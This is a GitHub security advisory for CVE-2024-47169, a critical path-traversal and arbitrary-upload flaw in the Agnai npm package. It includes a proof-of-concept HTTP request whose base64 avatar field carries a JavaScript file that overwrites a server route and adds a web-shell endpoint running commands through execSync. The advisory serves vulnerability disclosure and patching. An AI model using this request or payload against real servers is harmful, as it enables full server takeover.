Skip to content

Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal

Critical severity GitHub Reviewed Published Sep 26, 2024 in agnaistic/agnai • Updated Sep 26, 2024

Package

npm agnai (npm)

Affected versions

< 1.0.330

Patched versions

1.0.330

Description

Summary

A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.

This does not affect:

  • agnai.chat
  • installations using S3-compatible storage
  • self-hosting that is not publicly exposed

This DOES affect:

  • publicly hosted installs without S3-compatible storage

CWEs

CWE-35: Path Traversal

CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS-4.0 - 9.0 - Critical

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

Path Traversal and Unrestricted Upload of File with Dangerous Type

Path Traversal Location

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}

In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized.

https://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101

 const upserted: AppSchema.Character = {
    _id: body._id || `temp-${v4().slice(0, 8)}`,
    kind: 'character',
    createdAt: now(),

In the following file, the filename (or id) and content variables are not properly sanitized and validated,

https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63

export async function entityUploadBase64(kind: string, id: string, content?: string) {
  if (!content) return
  if (!content.includes(',')) return

  const filename = `${kind}-${id}`
  const attachment = toAttachment(content)
  return upload(attachment, filename)
}
function toAttachment(content: string): Attachment {
  const [prefix, base64] = content.split(',')
  const type = prefix.slice(5, -7)
  const [, ext] = type.split('/')
  return {
    ext,
    field: '',
    original: '',
    type: getType(ext),
    content: Buffer.from(base64, 'base64'),
  }
}

An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive

{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}

Risk

The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.

Attackers can gain full access to the server.

Recommendation

Input Validation

Arbitrary File Upload

  • Restrict the types of files that can be uploaded via a allow-only list.

Credits

References

@sceuick sceuick published to agnaistic/agnai Sep 26, 2024
Published to the GitHub Advisory Database Sep 26, 2024
Reviewed Sep 26, 2024
Published by the National Vulnerability Database Sep 26, 2024
Last updated Sep 26, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

0.050%
(21st percentile)

Weaknesses

CVE ID

CVE-2024-47169

GHSA ID

GHSA-mpch-89gm-hm83

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.